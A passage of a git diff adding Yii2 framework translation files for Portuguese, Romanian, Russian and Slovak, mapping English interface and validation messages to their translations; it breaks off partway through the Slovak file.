'{attribute} must be either "{true}" or "{false}".' => '"{attribute}" deve ser "{true}" ou "{false}".', + '{attribute} must be greater than "{compareValue}".' => '"{attribute}" deve ser maior que "{compareValue}".', + '{attribute} must be greater than or equal to "{compareValue}".' => '"{attribute}" deve ser maior ou igual a "{compareValue}".', + '{attribute} must be less than "{compareValue}".' => '"{attribute}" deve ser menor que "{compareValue}".', + '{attribute} must be less than or equal to "{compareValue}".' => '"{attribute}" deve ser menor ou igual a "{compareValue}".', + '{attribute} must be no greater than {max}.' => '"{attribute}" não pode ser maior que {max}.', + '{attribute} must be no less than {min}.' => '"{attribute}" não pode ser menor que {min}.', + '{attribute} must be repeated exactly.' => '"{attribute}" deve ser repetido exatamente.', + '{attribute} must not be equal to "{compareValue}".' => '"{attribute}" não deve ser igual a "{compareValue}".', + '{attribute} should contain at least {min, number} {min, plural, one{character} other{characters}}.' => '"{attribute}" deve conter pelo menos {min, number} {min, plural, one{caractere} other{caracteres}}.', + '{attribute} should contain at most {max, number} {max, plural, one{character} other{characters}}.' => '"{attribute}" deve conter no máximo {max, number} {max, plural, one{caractere} other{caracteres}}.', + '{attribute} should contain {length, number} {length, plural, one{character} other{characters}}.' => '"{attribute}" deve conter {length, number} {length, plural, one{caractere} other{caracteres}}.', +]; diff --git a/php/yii2/basic/vendor/yiisoft/yii2/messages/pt/yii.php b/php/yii2/basic/vendor/yiisoft/yii2/messages/pt/yii.php new file mode 100644 index 00000000..4ff048f6 --- /dev/null +++ b/php/yii2/basic/vendor/yiisoft/yii2/messages/pt/yii.php @@ -0,0 +1,78 @@ + '(não definido)', + 'An internal server error occurred.' => 'Ocorreu um erro interno do servidor.', + 'Delete' => 'Apagar', + 'Error' => 'Erro', + 'File upload failed.' => 'O upload do ficheiro falhou.', + 'Home' => 'Página Inicial', + 'Invalid data received for parameter "{param}".' => 'Dados inválidos recebidos para o parâmetro “{param}”.', + 'Login Required' => 'Login Necessário.', + 'Missing required arguments: {params}' => 'Argumentos obrigatórios em falta: {params}', + 'Missing required parameters: {params}' => 'Parâmetros obrigatórios em falta: {params}', + 'No' => 'Não', + 'No help for unknown command "{command}".' => 'Não há ajuda para o comando desconhecido “{command}”.', + 'No help for unknown sub-command "{command}".' => 'Não há ajuda para o sub-comando desconhecido “{command}”.', + 'No results found.' => 'Não foram encontrados resultados.', + 'Only files with these extensions are allowed: {extensions}.' => 'Só são permitidos ficheiros com as seguintes extensões: {extensions}.', + 'Page not found.' => 'Página não encontrada.', + 'Please fix the following errors:' => 'Por favor, corrija os seguintes erros:', + 'Please upload a file.' => 'Por favor faça upload de um ficheiro.', + 'Showing {begin, number}-{end, number} of {totalCount, number} {totalCount, plural, one{item} other{items}}.' => 'A exibir {begin, number}-{end, number} de {totalCount, number} {totalCount, plural, one{item} other{itens}}.', + 'The file "{file}" is not an image.' => 'O ficheiro “{file}” não é uma imagem.', + 'The file "{file}" is too big. Its size cannot exceed {limit, number} {limit, plural, one{byte} other{bytes}}.' => 'O ficheiro “{file}” é grande demais. O tamanho não pode exceder {limit, number} {limit, plural, one{byte} other{bytes}}.', + 'The file "{file}" is too small. Its size cannot be smaller than {limit, number} {limit, plural, one{byte} other{bytes}}.' => 'O ficheiro “{file}” é pequeno demais. O tamanho não pode ser menor do que {limit, number} {limit, plural, one{byte} other{bytes}}.', + 'The format of {attribute} is invalid.' => 'O formato de “{attribute}” é inválido.', + 'The image "{file}" is too large. The height cannot be larger than {limit, number} {limit, plural, one{pixel} other{pixels}}.' => 'O ficheiro “{file}” é grande demais. A altura não pode ser maior do que {limit, number} {limit, plural, one{pixel} other{pixels}}.', + 'The image "{file}" is too large. The width cannot be larger than {limit, number} {limit, plural, one{pixel} other{pixels}}.' => 'O ficheiro “{file}” é grande demais. A largura não pode ser maior do que {limit, number} {limit, plural, one{pixel} other{pixels}}.', + 'The image "{file}" is too small. The height cannot be smaller than {limit, number} {limit, plural, one{pixel} other{pixels}}.' => 'O ficheiro “{file}” é pequeno demais. A altura não pode ser menor do que {limit, number} {limit, plural, one{pixel} other{pixels}}.', + 'The image "{file}" is too small. The width cannot be smaller than {limit, number} {limit, plural, one{pixel} other{pixels}}.' => 'O ficheiro “{file}” é pequeno demais. A largura não pode ser menor do que {limit, number} {limit, plural, one{pixel} other{pixels}}.', + 'The verification code is incorrect.' => 'O código de verificação está incorreto.', + 'Total {count, number} {count, plural, one{item} other{items}}.' => 'Total {count, number} {count, plural, one{item} other{itens}}.', + 'Unable to verify your data submission.' => 'Não foi possível verificar a sua submissão de dados.', + 'Unknown command "{command}".' => 'Comando desconhecido “{command}”.', + 'Unknown option: --{name}' => 'Opção desconhecida : --{name}', + 'Update' => 'Atualizar', + 'Yes' => 'Sim', + 'You are not allowed to perform this action.' => 'Você não está autorizado a realizar essa ação.', + 'You can upload at most {limit, number} {limit, plural, one{file} other{files}}.' => 'Você pode fazer o upload de no máximo {limit, number} {limit, plural, one{ficheiro} other{ficheiros}}.', + 'the input value' => 'o valor de entrada', + '{attribute} "{value}" has already been taken.' => '{attribute} “{value}” já foi atribuido.', + '{attribute} cannot be blank.' => '“{attribute}” não pode ficar em branco.', + '{attribute} is invalid.' => '“{attribute}” é inválido.', + '{attribute} is not a valid URL.' => '“{attribute}” não é uma URL válida.', + '{attribute} is not a valid email address.' => '“{attribute}” não é um endereço de e-mail válido.', + '{attribute} must be "{requiredValue}".' => '“{attribute}” deve ser “{requiredValue}”.', + '{attribute} must be a number.' => '“{attribute}” deve ser um número.', + '{attribute} must be a string.' => '“{attribute}” deve ser uma string.', + '{attribute} must be an integer.' => '“{attribute}” deve ser um número inteiro.', + '{attribute} must be either "{true}" or "{false}".' => '“{attribute}” deve ser “{true}” ou “{false}”.', + '{attribute} must be greater than "{compareValue}".' => '“{attribute}” deve ser maior do que “{compareValue}”.', + '{attribute} must be greater than or equal to "{compareValue}".' => '“{attribute}” deve ser maior ou igual a “{compareValue}”.', + '{attribute} must be less than "{compareValue}".' => '“{attribute}” deve ser menor do que “{compareValue}”.', + '{attribute} must be less than or equal to "{compareValue}".' => '“{attribute}” deve ser menor ou igual a “{compareValue}”.', + '{attribute} must be no greater than {max}.' => '“{attribute}” não pode ser maior do que {max}.', + '{attribute} must be no less than {min}.' => '“{attribute}” não pode ser menor do que {min}.', + '{attribute} must be repeated exactly.' => '“{attribute}” deve ser repetido exatamente.', + '{attribute} must not be equal to "{compareValue}".' => '“{attribute}” não deve ser igual a “{compareValue}”.', + '{attribute} should contain at least {min, number} {min, plural, one{character} other{characters}}.' => '“{attribute}” deve conter pelo menos {min, number} {min, plural, one{caractere} other{caracteres}}.', + '{attribute} should contain at most {max, number} {max, plural, one{character} other{characters}}.' => '“{attribute}” deve conter no máximo {max, number} {max, plural, one{caractere} other{caracteres}}.', + '{attribute} should contain {length, number} {length, plural, one{character} other{characters}}.' => '“{attribute}” deve conter {length, number} {length, plural, one{caractere} other{caracteres}}.', +]; diff --git a/php/yii2/basic/vendor/yiisoft/yii2/messages/ro/yii.php b/php/yii2/basic/vendor/yiisoft/yii2/messages/ro/yii.php new file mode 100644 index 00000000..5143e03d --- /dev/null +++ b/php/yii2/basic/vendor/yiisoft/yii2/messages/ro/yii.php @@ -0,0 +1,79 @@ + '(nu este setat)', + 'An internal server error occurred.' => 'A aparut o eroare internă de server.', + 'Delete' => 'Șterge', + 'Error' => 'Eroare', + 'File upload failed.' => 'Încărcarea fișierului a eșuat.', + 'Home' => 'Acasă', + 'Invalid data received for parameter "{param}".' => 'Date incorecte primite pentru parametrul "{param}".', + 'Login Required' => 'Autentificare obligatorie.', + 'Missing required arguments: {params}' => 'Lipsesc argumente obligatorii: {params}', + 'Missing required parameters: {params}' => 'Lipsesc parametrii obligatori: {params}', + 'No' => 'Nu', + 'No help for unknown command "{command}".' => 'Nu sunt referințe pentru comanda necunoscută "{command}".', + 'No help for unknown sub-command "{command}".' => 'Nu sunt referințe pentru sub-comanda necunoscută "{command}".', + 'No results found.' => 'Nu a fost găsit niciun rezultat.', + 'Only files with these extensions are allowed: {extensions}.' => 'Se acceptă numai fișiere cu următoarele extensii: {extensions}.', + 'Page not found.' => 'Pagina nu a fost găsită.', + 'Please fix the following errors:' => 'Vă rugăm sa corectați următoarele erori:', + 'Please upload a file.' => 'Vă rugăm sa încărcați un fișier.', + 'Showing {begin, number}-{end, number} of {totalCount, number} {totalCount, plural, one{item} other{items}}.' => 'Sunt afișați itemii {begin, number}-{end, number} din {totalCount, number}.', + 'The file "{file}" is not an image.' => 'Fișierul «{file}» nu este o imagine.', + 'The file "{file}" is too big. Its size cannot exceed {limit, number} {limit, plural, one{byte} other{bytes}}.' => 'Fișierul «{file}» este prea mare. Dimensiunea acestuia nu trebuie să fie mai mare de {limit, number} {limit, plural, one{byte} other{bytes}}.', + 'The file "{file}" is too small. Its size cannot be smaller than {limit, number} {limit, plural, one{byte} other{bytes}}.' => 'Fișierul «{file}» este prea mic. Dimensiunea acestuia nu trebuie sa fie mai mică de {limit, number} {limit, plural, one{byte} other{bytes}}.', + 'The format of {attribute} is invalid.' => 'Formatul «{attribute}» nu este valid.', + 'The image "{file}" is too large. The height cannot be larger than {limit, number} {limit, plural, one{pixel} other{pixels}}.' => 'Imaginea «{file}» este prea mare. Înălțimea nu trebuie să fie mai mare de {limit, number} {limit, plural, one{pixel} other{pixeli}}.', + 'The image "{file}" is too large. The width cannot be larger than {limit, number} {limit, plural, one{pixel} other{pixels}}.' => 'Imaginea «{file}» este prea mare. Lățimea nu trebuie să fie mai mare de {limit, number} {limit, plural, one{pixel} other{pixeli}}.', + 'The image "{file}" is too small. The height cannot be smaller than {limit, number} {limit, plural, one{pixel} other{pixels}}.' => 'Imaginea «{file}» este prea mică. Înălțimea nu trebuie să fie mai mică de {limit, number} {limit, plural, one{pixel} other{pixeli}}.', + 'The image "{file}" is too small. The width cannot be smaller than {limit, number} {limit, plural, one{pixel} other{pixels}}.' => 'Imaginea «{file}» este prea mică. Lățimea nu trebuie sa fie mai mică de {limit, number} {limit, plural, one{pixel} other{pixeli}}.', + 'The verification code is incorrect.' => 'Codul de verificare este incorect.', + 'Total {count, number} {count, plural, one{item} other{items}}.' => 'Total {count, number} {count, plural, one{item} other{itemi}}.', + 'Unable to verify your data submission.' => 'Datele trimise nu au putut fi verificate.', + 'Unknown command "{command}".' => 'Comandă necunoscută "{command}".', + 'Unknown option: --{name}' => 'Opțiune necunoscută : --{name}', + 'Update' => 'Redactare', + 'View' => 'Vizualizare', + 'Yes' => 'Da', + 'You are not allowed to perform this action.' => 'Nu aveți dreptul să efectuați această acțiunea.', + 'You can upload at most {limit, number} {limit, plural, one{file} other{files}}.' => 'Puteți încărca maxim {limit, number} {limit, plural, one{fișier} other{fișiere}}.', + 'the input value' => 'valoarea introdusă', + '{attribute} "{value}" has already been taken.' => '{attribute} «{value}» este deja ocupat.', + '{attribute} cannot be blank.' => '«{attribute}» nu poate fi gol.', + '{attribute} is invalid.' => '«{attribute}» este incorect.', + '{attribute} is not a valid URL.' => '«{attribute}» nu este un URL valid.', + '{attribute} is not a valid email address.' => '«{attribute}» nu este o adresă de email validă.', + '{attribute} must be "{requiredValue}".' => '«{attribute}» trebuie să fie «{requiredValue}».', + '{attribute} must be a number.' => '«{attribute}» trebuie să fie un număr.', + '{attribute} must be a string.' => '«{attribute}» trebuie să fie un șir de caractere.', + '{attribute} must be an integer.' => '«{attribute}» trebuie să fie un număr întreg.', + '{attribute} must be either "{true}" or "{false}".' => '«{attribute}» trebuie să fie «{true}» sau «{false}».', + '{attribute} must be greater than "{compareValue}".' => '«{attribute}» trebuie să fie mai mare ca «{compareValue}».', + '{attribute} must be greater than or equal to "{compareValue}".' => '«{attribute}» trebuie să fie mai mare sau egal cu «{compareValue}».', + '{attribute} must be less than "{compareValue}".' => '«{attribute}» trebuie să fie mai mic ca «{compareValue}».', + '{attribute} must be less than or equal to "{compareValue}".' => '«{attribute}» trebuie să fie mai mic sau egal cu «{compareValue}».', + '{attribute} must be no greater than {max}.' => '«{attribute}» nu trebuie să fie mai mare ca {max}.', + '{attribute} must be no less than {min}.' => '«{attribute}» nu trebuie să fie mai mic ca {min}.', + '{attribute} must be repeated exactly.' => '«{attribute}» trebuie să fie repetat exact.', + '{attribute} must not be equal to "{compareValue}".' => '«{attribute}» nu trebuie să fie egală cu «{compareValue}».', + '{attribute} should contain at least {min, number} {min, plural, one{character} other{characters}}.' => '«{attribute}» trebuie să conțină minim {min, number} {min, plural, one{caracter} other{caractere}}.', + '{attribute} should contain at most {max, number} {max, plural, one{character} other{characters}}.' => '«{attribute}» trebuie să conțină maxim {max, number} {max, plural, one{caracter} other{caractere}}.', + '{attribute} should contain {length, number} {length, plural, one{character} other{characters}}.' => '«{attribute}» trebuie să conțină {length, number} {length, plural, one{caracter} other{caractere}}.', +]; diff --git a/php/yii2/basic/vendor/yiisoft/yii2/messages/ru/yii.php b/php/yii2/basic/vendor/yiisoft/yii2/messages/ru/yii.php new file mode 100644 index 00000000..996ff6ad --- /dev/null +++ b/php/yii2/basic/vendor/yiisoft/yii2/messages/ru/yii.php @@ -0,0 +1,116 @@ + '{nFormatted} Б', + '{nFormatted} GB' => '{nFormatted} ГБ', + '{nFormatted} GiB' => '{nFormatted} ГиБ', + '{nFormatted} KB' => '{nFormatted} КБ', + '{nFormatted} KiB' => '{nFormatted} КиБ', + '{nFormatted} MB' => '{nFormatted} МБ', + '{nFormatted} MiB' => '{nFormatted} МиБ', + '{nFormatted} PB' => '{nFormatted} ПБ', + '{nFormatted} PiB' => '{nFormatted} ПиБ', + '{nFormatted} TB' => '{nFormatted} ТБ', + '{nFormatted} TiB' => '{nFormatted} ТиБ', + '{nFormatted} {n, plural, =1{byte} other{bytes}}' => '{nFormatted} {n, plural, one{байт} few{байта} many{байтов} other{байта}}', + '{nFormatted} {n, plural, =1{gibibyte} other{gibibytes}}' => '{nFormatted} {n, plural, one{гибибайт} few{гибибайта} many{гибибайтов} other{гибибайта}}', + '{nFormatted} {n, plural, =1{gigabyte} other{gigabytes}}' => '{nFormatted} {n, plural, one{гигабайт} few{гигабайта} many{гигабайтов} other{гигабайта}}', + '{nFormatted} {n, plural, =1{kibibyte} other{kibibytes}}' => '{nFormatted} {n, plural, one{кибибайт} few{кибибайта} many{кибибайтов} other{кибибайта}}', + '{nFormatted} {n, plural, =1{kilobyte} other{kilobytes}}' => '{nFormatted} {n, plural, one{килобайт} few{килобайта} many{килобайтов} other{килобайта}}', + '{nFormatted} {n, plural, =1{mebibyte} other{mebibytes}}' => '{nFormatted} {n, plural, one{мебибайт} few{мебибайта} many{мебибайтов} other{мебибайта}}', + '{nFormatted} {n, plural, =1{megabyte} other{megabytes}}' => '{nFormatted} {n, plural, one{мегабайт} few{мегабайта} many{мегабайтов} other{мегабайта}}', + '{nFormatted} {n, plural, =1{pebibyte} other{pebibytes}}' => '{nFormatted} {n, plural, one{пебибайт} few{пебибайта} many{пебибайтов} other{пебибайта}}', + '{nFormatted} {n, plural, =1{petabyte} other{petabytes}}' => '{nFormatted} {n, plural, one{петабайт} few{петабайта} many{петабайтов} other{петабайта}}', + '{nFormatted} {n, plural, =1{tebibyte} other{tebibytes}}' => '{nFormatted} {n, plural, one{тебибайт} few{тебибайта} many{тебибайтов} other{тебибайта}}', + '{nFormatted} {n, plural, =1{terabyte} other{terabytes}}' => '{nFormatted} {n, plural, one{терабайт} few{терабайта} many{терабайтов} other{терабайта}}', + '(not set)' => '(не задано)', + 'An internal server error occurred.' => 'Возникла внутренняя ошибка сервера.', + 'Are you sure you want to delete this item?' => 'Вы уверены, что хотите удалить этот элемент?', + 'Delete' => 'Удалить', + 'Error' => 'Ошибка', + 'File upload failed.' => 'Загрузка файла не удалась.', + 'Home' => 'Главная', + 'Invalid data received for parameter "{param}".' => 'Неправильное значение параметра "{param}".', + 'Login Required' => 'Требуется вход.', + 'Missing required arguments: {params}' => 'Отсутствуют обязательные аргументы: {params}', + 'Missing required parameters: {params}' => 'Отсутствуют обязательные параметры: {params}', + 'No' => 'Нет', + 'No help for unknown command "{command}".' => 'Справка недоступна для неизвестной команды "{command}".', + 'No help for unknown sub-command "{command}".' => 'Справка недоступна для неизвестной субкоманды "{command}".', + 'No results found.' => 'Ничего не найдено.', + 'Only files with these MIME types are allowed: {mimeTypes}.' => 'Разрешена загрузка файлов только со следующими MIME-типами: {mimeTypes}.', + 'Only files with these extensions are allowed: {extensions}.' => 'Разрешена загрузка файлов только со следующими расширениями: {extensions}.', + 'Page not found.' => 'Страница не найдена.', + 'Please fix the following errors:' => 'Исправьте следующие ошибки:', + 'Please upload a file.' => 'Загрузите файл.', + 'Showing {begin, number}-{end, number} of {totalCount, number} {totalCount, plural, one{item} other{items}}.' => 'Показаны записи {begin, number}-{end, number} из {totalCount, number}.', + 'The file "{file}" is not an image.' => 'Файл «{file}» не является изображением.', + 'The file "{file}" is too big. Its size cannot exceed {limit, number} {limit, plural, one{byte} other{bytes}}.' => 'Файл «{file}» слишком большой. Размер не должен превышать {limit, number} {limit, plural, one{байт} few{байта} many{байт} other{байта}}.', + 'The file "{file}" is too small. Its size cannot be smaller than {limit, number} {limit, plural, one{byte} other{bytes}}.' => 'Файл «{file}» слишком маленький. Размер должен быть более {limit, number} {limit, plural, one{байт} few{байта} many{байт} other{байта}}.', + 'The format of {attribute} is invalid.' => 'Неверный формат значения «{attribute}».', + 'The image "{file}" is too large. The height cannot be larger than {limit, number} {limit, plural, one{pixel} other{pixels}}.' => 'Файл «{file}» слишком большой. Высота не должна превышать {limit, number} {limit, plural, one{пиксель} few{пикселя} many{пикселей} other{пикселя}}.', + 'The image "{file}" is too large. The width cannot be larger than {limit, number} {limit, plural, one{pixel} other{pixels}}.' => 'Файл «{file}» слишком большой. Ширина не должна превышать {limit, number} {limit, plural, one{пиксель} few{пикселя} many{пикселей} other{пикселя}}.', + 'The image "{file}" is too small. The height cannot be smaller than {limit, number} {limit, plural, one{pixel} other{pixels}}.' => 'Файл «{file}» слишком маленький. Высота должна быть более {limit, number} {limit, plural, one{пиксель} few{пикселя} many{пикселей} other{пикселя}}.', + 'The image "{file}" is too small. The width cannot be smaller than {limit, number} {limit, plural, one{pixel} other{pixels}}.' => 'Файл «{file}» слишком маленький. Ширина должна быть более {limit, number} {limit, plural, one{пиксель} few{пикселя} many{пикселей} other{пикселя}}.', + 'The requested view "{name}" was not found.' => 'Запрашиваемый файл представления "{name}" не найден.', + 'The verification code is incorrect.' => 'Неправильный проверочный код.', + 'Total {count, number} {count, plural, one{item} other{items}}.' => 'Всего {count, number} {count, plural, one{запись} few{записи} many{записей} other{записи}}.', + 'Unable to verify your data submission.' => 'Не удалось проверить переданные данные.', + 'Unknown command "{command}".' => 'Неизвестная команда "{command}".', + 'Unknown option: --{name}' => 'Неизвестная опция: --{name}', + 'Update' => 'Редактировать', + 'View' => 'Просмотр', + 'Yes' => 'Да', + 'You are not allowed to perform this action.' => 'Вам не разрешено производить данное действие.', + 'You can upload at most {limit, number} {limit, plural, one{file} other{files}}.' => 'Вы не можете загружать более {limit, number} {limit, plural, one{файла} few{файлов} many{файлов} other{файла}}.', + 'in {delta, plural, =1{a day} other{# days}}' => 'через {delta, plural, =1{день} one{# день} few{# дня} many{# дней} other{# дня}}', + 'in {delta, plural, =1{a minute} other{# minutes}}' => 'через {delta, plural, =1{минуту} one{# минуту} few{# минуты} many{# минут} other{# минуты}}', + 'in {delta, plural, =1{a month} other{# months}}' => 'через {delta, plural, =1{месяц} one{# месяц} few{# месяца} many{# месяцев} other{# месяца}}', + 'in {delta, plural, =1{a second} other{# seconds}}' => 'через {delta, plural, =1{секунду} one{# секунду} few{# секунды} many{# секунд} other{# секунды}}', + 'in {delta, plural, =1{a year} other{# years}}' => 'через {delta, plural, =1{год} one{# год} few{# года} many{# лет} other{# года}}', + 'in {delta, plural, =1{an hour} other{# hours}}' => 'через {delta, plural, =1{час} one{# час} few{# часа} many{# часов} other{# часа}}', + 'the input value' => 'введённое значение', + '{attribute} "{value}" has already been taken.' => '{attribute} «{value}» уже занят.', + '{attribute} cannot be blank.' => 'Необходимо заполнить «{attribute}».', + '{attribute} is invalid.' => 'Значение «{attribute}» неверно.', + '{attribute} is not a valid URL.' => 'Значение «{attribute}» не является правильным URL.', + '{attribute} is not a valid email address.' => 'Значение «{attribute}» не является правильным email адресом.', + '{attribute} must be "{requiredValue}".' => 'Значение «{attribute}» должно быть равно «{requiredValue}».', + '{attribute} must be a number.' => 'Значение «{attribute}» должно быть числом.', + '{attribute} must be a string.' => 'Значение «{attribute}» должно быть строкой.', + '{attribute} must be an integer.' => 'Значение «{attribute}» должно быть целым числом.', + '{attribute} must be either "{true}" or "{false}".' => 'Значение «{attribute}» должно быть равно «{true}» или «{false}».', + '{attribute} must be greater than "{compareValue}".' => 'Значение «{attribute}» должно быть больше значения «{compareValue}».', + '{attribute} must be greater than or equal to "{compareValue}".' => 'Значение «{attribute}» должно быть больше или равно значения «{compareValue}».', + '{attribute} must be less than "{compareValue}".' => 'Значение «{attribute}» должно быть меньше значения «{compareValue}».', + '{attribute} must be less than or equal to "{compareValue}".' => 'Значение «{attribute}» должно быть меньше или равно значения «{compareValue}».', + '{attribute} must be no greater than {max}.' => 'Значение «{attribute}» не должно превышать {max}.', + '{attribute} must be no less than {min}.' => 'Значение «{attribute}» должно быть не меньше {min}.', + '{attribute} must be repeated exactly.' => 'Значение «{attribute}» должно быть повторено в точности.', + '{attribute} must not be equal to "{compareValue}".' => 'Значение «{attribute}» не должно быть равно «{compareValue}».', + '{attribute} should contain at least {min, number} {min, plural, one{character} other{characters}}.' => 'Значение «{attribute}» должно содержать минимум {min, number} {min, plural, one{символ} few{символа} many{символов} other{символа}}.', + '{attribute} should contain at most {max, number} {max, plural, one{character} other{characters}}.' => 'Значение «{attribute}» должно содержать максимум {max, number} {max, plural, one{символ} few{символа} many{символов} other{символа}}.', + '{attribute} should contain {length, number} {length, plural, one{character} other{characters}}.' => 'Значение «{attribute}» должно содержать {length, number} {length, plural, one{символ} few{символа} many{символов} other{символа}}.', + '{delta, plural, =1{a day} other{# days}} ago' => '{delta, plural, =1{день} one{день} few{# дня} many{# дней} other{# дня}} назад', + '{delta, plural, =1{a minute} other{# minutes}} ago' => '{delta, plural, =1{минуту} one{# минуту} few{# минуты} many{# минут} other{# минуты}} назад', + '{delta, plural, =1{a month} other{# months}} ago' => '{delta, plural, =1{месяц} one{# месяц} few{# месяца} many{# месяцев} other{# месяца}} назад', + '{delta, plural, =1{a second} other{# seconds}} ago' => '{delta, plural, =1{секунду} one{# секунду} few{# секунды} many{# секунд} other{# секунды}} назад', + '{delta, plural, =1{a year} other{# years}} ago' => '{delta, plural, =1{год} one{# год} few{# года} many{# лет} other{# года}} назад', + '{delta, plural, =1{an hour} other{# hours}} ago' => '{delta, plural, =1{час} one{# час} few{# часа} many{# часов} other{# часа}} назад', +]; diff --git a/php/yii2/basic/vendor/yiisoft/yii2/messages/sk/yii.php b/php/yii2/basic/vendor/yiisoft/yii2/messages/sk/yii.php new file mode 100644 index 00000000..6057d43c --- /dev/null +++ b/php/yii2/basic/vendor/yiisoft/yii2/messages/sk/yii.php @@ -0,0 +1,117 @@ + 'Požadovaná stránka "{name}" nebola nájdená.', + 'just now' => 'práve teraz', + '{nFormatted} B' => '{nFormatted} B', + '{nFormatted} GB' => '{nFormatted} GB', + '{nFormatted} GiB' => '{nFormatted} GiB', + '{nFormatted} KB' => '{nFormatted} KB', + '{nFormatted} KiB' => '{nFormatted} KiB', + '{nFormatted} MB' => '{nFormatted} MB', + '{nFormatted} MiB' => '{nFormatted} MiB', + '{nFormatted} PB' => '{nFormatted} PB', + '{nFormatted} PiB' => '{nFormatted} PiB', + '{nFormatted} TB' => '{nFormatted} TB', + '{nFormatted} TiB' => '{nFormatted} TiB', + '{nFormatted} {n, plural, =1{byte} other{bytes}}' => '{nFormatted} {n, plural, =1{bajt} =2{bajty} =3{bajty} =4{bajty} other{bajtov}}', + '{nFormatted} {n, plural, =1{gibibyte} other{gibibytes}}' => '{nFormatted} {n, plural, =1{gibibajt} =2{gibibajty} =3{gibibajty} =4{gibibajty} other{gibibajtov}}', + '{nFormatted} {n, plural, =1{gigabyte} other{gigabytes}}' => '{nFormatted} {n, plural, =1{gigabajt} =2{gigabajty} =3{gigabajty} =4{gigabajty} other{gigabajtov}}', + '{nFormatted} {n, plural, =1{kibibyte} other{kibibytes}}' => '{nFormatted} {n, plural, =1{kibibajt} =2{kibibajty} =3{kibibajty} =4{kibibajty} other{kibibajtov}}', + '{nFormatted} {n, plural, =1{kilobyte} other{kilobytes}}' => '{nFormatted} {n, plural, =1{kilobajt} =2{kilobajty} =3{kilobajty} =4{kilobajty} other{kilobajtov}}', + '{nFormatted} {n, plural, =1{mebibyte} other{mebibytes}}' => '{nFormatted} {n, plural, =1{mebibajt} =2{mebibajty} =3{mebibajty} =4{mebibajty} other{mebibajtov}}', + '{nFormatted} {n, plural, =1{megabyte} other{megabytes}}' => '{nFormatted} {n, plural, =1{megabajt} =2{megabajty} =3{megabajty} =4{megabajty} other{megabajtov}}', + '{nFormatted} {n, plural, =1{pebibyte} other{pebibytes}}' => '{nFormatted} {n, plural, =1{pebibajt} =2{pebibajty} =3{pebibajty} =4{pebibajty} other{pebibajtov}}', + '{nFormatted} {n, plural, =1{petabyte} other{petabytes}}' => '{nFormatted} {n, plural, =1{petabajt} =2{petabajty} =3{petabajty} =4{petabajty} other{petabajtov}}', + '{nFormatted} {n, plural, =1{tebibyte} other{tebibytes}}' => '{nFormatted} {n, plural, =1{tebibajt} =2{tebibajty} =3{tebibajty} =4{tebibajty} other{tebibajtov}}', + '{nFormatted} {n, plural, =1{terabyte} other{terabytes}}' => '{nFormatted} {n, plural, =1{terabajt} =2{terabajty} =3{terabajty} =4{terabajty} other{terabajtov}}', + '(not set)' => '(nie je nastavené)', + 'An internal server error occurred.' => 'Vyskytla sa interná chyba servera.', + 'Are you sure you want to delete this item?' => 'Skutočne chcete odstrániť tento záznam?', + 'Delete' => 'Zmazať', + 'Error' => 'Chyba', + 'File upload failed.' => 'Súbor sa nepodarilo nahrať.', + 'Home' => 'Úvod', + 'Invalid data received for parameter "{param}".' => 'Neplatné údaje pre parameter "{param}".', + 'Login Required' => 'Je potrebné sa prihlásiť', + 'Missing required arguments: {params}' => 'Chýbajú povinné argumenty: {params}', + 'Missing required parameters: {params}' => 'Chýbajú povinné parametre: {params}', + 'No' => 'Nie', + 'No help for unknown command "{command}".' => 'Pre neznámy príkaz "{command}" nie je k dispozícii žiadna nápoveda.', + 'No help for unknown sub-command "{command}".' => 'Pre neznámy podpríkaz "{command}" nie je k dispozícii žiadna nápoveda.', + 'No results found.' => 'Neboli nájdené žiadne záznamy.', + 'Only files with these MIME types are allowed: {mimeTypes}.' => 'Povolené sú len súbory nasledovných MIME typov: {mimeTypes}.', + 'Only files with these extensions are allowed: {extensions}.' => 'Povolené sú len súbory s nasledovnými príponami: {extensions}.', + 'Page not found.' => 'Stránka nebola nájdená.', + 'Please fix the following errors:' => 'Opravte prosím nasledujúce chyby:', + 'Please upload a file.' => 'Nahrajte prosím súbor.', + 'Showing {begin, number}-{end, number} of {totalCount, number} {totalCount, plural, one{item} other{items}}.' => 'Zobrazujem {begin, number}-{end, number} z {totalCount, number} {totalCount, plural, one{záznam} other{záznamov}}.', + 'The file "{file}" is not an image.' => 'Súbor "{file}" nie je obrázok.', + 'The file "{file}" is too big. Its size cannot exceed {limit, number} {limit, plural, one{byte} other{bytes}}.' => 'Súbor "{file}" je príliš veľký. Veľkosť súboru nesmie byť viac ako {limit, number} {limit, plural, one{bajt} other{bajtov}}.', + 'The file "{file}" is too small. Its size cannot be smaller than {limit, number} {limit, plural, one{byte} other{bytes}}.' => 'Súbor "{file}" je príliš malý. Veľkosť súboru nesmie byť menej ako {limit, number} {limit, plural, one{bajt} other{bajtov}}.', + 'The format of {attribute} is invalid.' => 'Formát atribútu {attribute} je neplatný.', + 'The image "{file}" is too large. The height cannot be larger than {limit, number} {limit, plural, one{pixel} other{pixels}}.' => 'Obrázok "{file}" je príliš veľký. Výška nesmie presiahnuť {limit, number} {limit, plural, one{pixel} other{pixlov}}.', + 'The image "{file}" is too large. The width cannot be larger than {limit, number} {limit, plural, one{pixel} other{pixels}}.' => 'Obrázok "{file}" je príliš veľký. Šírka nesmie presiahnuť {limit, number} {limit, plural, one{pixel} other{pixlov}}.', + 'The image "{file}" is too small. The height cannot be smaller than {limit, number} {limit, plural, one{pixel} other{pixels}}.' => 'Obrázok "{file}" je príliš malý. Výška nesmie byť menšia ako {limit, number} {limit, plural, one{pixel} other{pixlov}}.', + 'The image "{file}" is too small. The width cannot be smaller than {limit, number} {limit, plural, one{pixel} other{pixels}}.' => 'Obrázok "{file}" je príliš malý. Šírka nesmie byť menšia ako {limit, number} {limit, plural, one{pixel} other{pixlov}}.', + 'The verification code is incorrect.' => 'Kód pre overenie je neplatný.', + 'Total {count, number} {count, plural, one{item} other{items}}.' => 'Celkovo {count, number} {count, plural, one{záznam} other{záznamov}}.', + 'Unable to verify your data submission.' => 'Nebolo možné preveriť odoslané údaje.', + 'Unknown command "{command}".' => 'Neznámy príkaz "{command}".', + 'Unknown option: --{name}' => 'Neznáme nastavenie: --{name}', + 'Update' => 'Upraviť', + 'View' => 'Náhľad', + 'Yes' => 'Áno', + 'You are not allowed to perform this action.' => 'Nemáte oprávnenie pre požadovanú akciu.', + 'You can upload at most {limit, number} {limit, plural, one{file} other{files}}.' => 'Nahrať môžete najviac {limit, number} {limit, plural, one{súbor} other{súborov}}.', + 'in {delta, plural, =1{a day} other{# days}}' => 'o {delta, plural, =1{deň} other{# dni}}', + 'in {delta, plural, =1{a minute} other{# 